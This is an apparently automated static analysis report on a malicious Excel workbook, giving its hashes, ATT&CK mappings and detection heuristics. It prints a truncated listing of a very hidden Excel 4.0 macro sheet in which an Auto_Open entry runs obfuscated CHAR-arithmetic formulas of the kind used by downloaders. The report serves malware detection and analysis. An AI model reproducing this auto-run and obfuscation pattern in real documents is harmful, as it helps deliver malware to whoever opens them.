Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 289e262ef969f476…

MALICIOUS

Office (OLE)

193.5 KB Created: 2020-04-09 12:29:51 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 675bd23158a302ed47acee66241b42a1 SHA-1: 8027bf2a50ec2bf9dce7ec5daaa5448e380ad398 SHA-256: 289e262ef969f4766c69f7b2f5db69a58bf2f785da87a64b2590253a08582c60
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The macros utilize dangerous formula APIs, including 'RUN', suggesting an attempt to execute external code or commands. The macro sheet name 'z6JYsh9x5' is identified as an IOC. The specific formulas are truncated, but the pattern indicates a downloader or execution mechanism.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.microsoft.com/photo/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 21325 bytes
SHA-256: abb1270ef4b9ecd1829aa9b9c3c08fe10ef985a2147c718ccbc9442c2a28ef26
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  z6JYsh9x5
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!BA1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  z6JYsh9x5,BA1,"FORMULA(F94-A89-L84-R93-DAY(NOW()),V97)",""
'  z6JYsh9x5,BA2,APP.MAXIMIZE(),""
'  z6JYsh9x5,BA3,"FORMULA(CHAR(A1-V97)&CHAR(A2-V97)&CHAR(A3-V97)&CHAR(A4-V97)&CHAR(A5-V97)&CHAR(A6-V97)&CHAR(A7-V97)&CHAR(A8-V97)&CHAR(A9-V97)&CHAR(A10-V97)&CHAR(A11-V97)&CHAR(A12-V97)&CHAR(A13-V97)&CHAR(A14-V97)&CHAR(A15-V97)&CHAR(A16-V97)&CHAR(A17-V97)&CHAR(A18-V97)&CHAR(A19-V97)&CHAR(A20-V97)&CHAR(A21-V97)&CHAR(A22-V97)&CHAR(A23-V97)&CHAR(A24-V97)&CHAR(A25-V97)&CHAR(A26-V97)&CHAR(A27-V97)&CHAR(A28-V97)&CHAR(A29-V97)&CHAR(A30-V97)&CHAR(A31-V97)&CHAR(A32-V97)&CHAR(A33-V97)&CHAR(A34-V97)&CHAR(A35-V97)&CHAR(A36-V97)&CHAR(A37-V97)&CHAR(A38-V97)&CHAR(A39-V97)&CHAR(A40-V97),BB1)",""
'  z6JYsh9x5,BA4,"FORMULA(CHAR(B1-V97)&CHAR(B2-V97)&CHAR(B3-V97)&CHAR(B4-V97)&CHAR(B5-V97)&CHAR(B6-V97)&CHAR(B7-V97)&CHAR(B8-V97)&CHAR(B9-V97)&CHAR(B10-V97)&CHAR(B11-V97)&CHAR(B12-V97)&CHAR(B13-V97)&CHAR(B14-V97)&CHAR(B15-V97)&CHAR(B16-V97)&CHAR(B17-V97)&CHAR(B18-V97)&CHAR(B19-V97)&CHAR(B20-V97)&CHAR(B21-V97)&CHAR(B22-V97)&CHAR(B23-V97)&CHAR(B24-V97)&CHAR(B25-V97)&CHAR(B26-V97)&CHAR(B27-V97)&CHAR(B28-V97)&CHAR(B29-V97)&CHAR(B30-V97)&CHAR(B31-V97)&CHAR(B32-V97)&CHAR(B33-V97)&CHAR(B34-V97)&CHAR(B35-V97)&CHAR(B36-V97)&CHAR(B37-V97)&CHAR(B38-V97)&CHAR(B39-V97)&CHAR(B40-V97),BB2)",""
'  z6JYsh9x5,BA5,"FORMULA(CHAR(C1-V97)&CHAR(C2-V97)&CHAR(C3-V97)&CHAR(C4-V97)&CHAR(C5-V97)&CHAR(C6-V97)&CHAR(C7-V97)&CHAR(C8-V97)&CHAR(C9-V97)&CHAR(C10-V97)&CHAR(C11-V97)&CHAR(C12-V97)&CHAR(C13-V97)&CHAR(C14-V97)&CHAR(C15-V97)&CHAR(C16-V97)&CHAR(C17-V97)&CHAR(C18-V97)&CHAR(C19-V97)&CHAR(C20-V97)&CHAR(C21-V97)&CHAR(C22-V97)&CHAR(C23-V97)&CHAR(C24-V97)&CHAR(C25-V97)&CHAR(C26-V97)&CHAR(C27-V97)&CHAR(C28-V97)&CHAR(C29-V97)&CHAR(C30-V97)&CHAR(C31-V97)&CHAR(C32-V97)&CHAR(C33-V97)&CHAR(C34-V97)&CHAR(C35-V97),BB3)",""
'  z6JYsh9x5,BA6,"FORMULA(CHAR(D1-V97)&CHAR(D2-V97)&CHAR(D3-V97)&CHAR(D4-V97)&CHAR(D5-V97)&CHAR(D6-V97)&CHAR(D7-V97)&CHAR(D8-V97)&CHAR(D9-V97)&CHAR(D10-V97)&CHAR(D11-V97)&CHAR(D12-V97)&CHAR(D13-V97)&CHAR(D14-V97)&CHAR(D15-V97)&CHAR(D16-V97)&CHAR(D17-V97)&CHAR(D18-V97)&CHAR(D19-V97)&CHAR(D20-V97)&CHAR(D21-V97)&CHAR(D22-V97)&CHAR(D23-V97)&CHAR(D24-V97)&CHAR(D25-V97)&CHAR(D26-V97)&CHAR(D27-V97)&CHAR(D28-V97)&CHAR(D29-V97)&CHAR(D30-V97)&CHAR(D31-V97)&CHAR(D32-V97)&CHAR(D33-V97)&CHAR(D34-V97)&CHAR(D35-V97),BB4)",""
'  z6JYsh9x5,BA7,"FORMULA(CHAR(E1-V97)&CHAR(E2-V97)&CHAR(E3-V97)&CHAR(E4-V97)&CHAR(E5-V97)&CHAR(E6-V97)&CHAR(E7-V97)&CHAR(E8-V97)&CHAR(E9-V97)&CHAR(E10-V97)&CHAR(E11-V97)&CHAR(E12-V97)&CHAR(E13-V97)&CHAR(E14-V97)&CHAR(E15-V97)&CHAR(E16-V97)&CHAR(E17-V97)&CHAR(E18-V97)&CHAR(E19-V97)&CHAR(E20-V97)&CHAR(E21-V97)&CHAR(E22-V97)&CHAR(E23-V97)&CHAR(E24-V97)&CHAR(E25-V97)&CHAR(E26-V97)&CHAR(E27-V97)&CHAR(E28-V97)&CHAR(E29-V97)&CHAR(E30-V97)&CHAR(E31-V97)&CHAR(E32-V97)&CHAR(E33-V97)&CHAR(E34-V97)&CHAR(E35-V97)&CHAR(E36-V97)&CHAR(E37-V97)&CHAR(E38-V97)&CHAR(E39-V97)&CHAR(E40-V97)&CHAR(E41-V97)&CHAR(E42-V97)&CHAR(E43-V97)&CHAR(E44-V97)&CHAR(E45-V97)&CHAR(E46-V97)&CHAR(E47-V97)&CHAR(E48-V97)&CHAR(E49-V97)&CHAR(E50-V97)&CHAR(E51-V9
... (truncated)

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